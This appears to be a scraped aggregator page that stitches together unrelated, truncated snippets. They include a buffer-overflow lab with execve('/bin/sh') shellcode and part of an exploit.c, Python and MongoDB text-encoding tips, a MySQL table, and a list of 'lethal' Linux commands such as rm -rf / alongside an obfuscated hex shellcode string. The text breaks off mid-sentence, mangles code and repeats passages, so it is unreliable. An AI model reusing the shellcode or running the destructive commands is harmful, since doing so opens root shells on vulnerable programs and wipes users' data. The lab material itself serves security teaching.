the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.#include Shellcode is certainly not the above C program, because the attack code must be machine-level instructions, so choose its assembly version as the shellcode of this experiment.\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x803. Vulnera
import urllib.requestresponse = urllib.request.urlopen(‘http://www.baidu.com‘)html = response.read()print(html)上面的代码正常However, when running the results encountered in Chinese will be replaced with \xe7\x99\xbe\xe5\xba\xa6\xe4\xb8\x80, which is a byte byte.python3 输出位串,而不是可读的字符串,需要对其进行转换Use STR (string[, encoding]) to convert an arraySTR (Response.read (), ' Utf-8 ')Import Urllib.requestResponse = Urllib.request.urlopen (' http://www.baidu.com ')HTML =
varchar (80) not null, city varchar (40) not null, postcode varchar (10) not null ); Use the command Commit; submit. To check whether the operation on the table is correct, enter the describe Addresser command. the following result is displayed: + ----------- + ------------- + ------ + ----- + --------- + ---------------- + | Field | Type | Null | Key | Default | Extra | + ----------- + ------------- + ------ + ----------- + ---------------- + | id | int (8) | PRI | NULL | auto_increment | su
If you are using Linux, remember not to let the dumb enter the following commands. Although these commands seem complicated, they will still have a serious impact on your system.Some of them will affect your program and system running, some will directly erase your disk, and there is almost no room for saving these commands.
1. Code:Rm-rf/
This is very simple. The root directory will be wiped out.
2. Code:
Char esp [] _ attribute _ (section (". text")/* e. s. p
Release */
= "\ Xeb \ x3e \ x5b \
dispersed.rm -R ./videodir/* ../companyvideodirwith651vidsin/When such a command is used, the game goes beyond things.
The company's video is also included when the file is blurred. Fortunately, it's crazy.control -CThe system administrator aborted this command before deleting too many files. But this is a warning to you: Anyone may make such a mistake.
In fact, most modern operating systems will warn you with a striking text before you make these mistakes. However, if you are busy or distract
Python+mongodbIn the process of the crawler, caught a Chinese text segment, encode and decode are not displayed correctlyNote: The following print is displayed in MongoDB and may vary in Pythonshellsuch as the Chinese "grieving", assuming that it is a variable a1. Print a results in the following:After using the type query, the display is indeed Unicode encoding (normally the Unicode encoded content is displayed directly in MongoDB)2. The result of print type (a) is as follows:3. Print A.encode
Interesting: seven extremely lethal Linux commands-general Linux technology-Linux technology and application information. For more information, see the following. Source: www.cnbeta.com
If you are using Linux, remember not to let the dumb enter the following commands. Although these commands seem complicated, they will still have a serious impact on your system.
Some of them will affect your program and system running, some will directly erase your disk, and there is almost no room for saving
program just now and gain root access through an attack. The consequences are serious!Save the following code as a "exploit.c" file. The code is as follows:/*exploit.c*//*A program This creates a file containing code for launching Shell*/#include#include#includestring.h>Charshellcode[]="\x31\xc0" //Xorl%eax,%eax"\x50" //PUSHL%eax"\x68""//sh" //PUSHL $0x68732f2f"\x68""/bin" //PUSHL $0x6e69622f"\x89\xe3" //MOVL%esp,%ebx"\x50" //PUSHL%eax"\x53" //PUSHL%ebx"\x89\xe1"
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.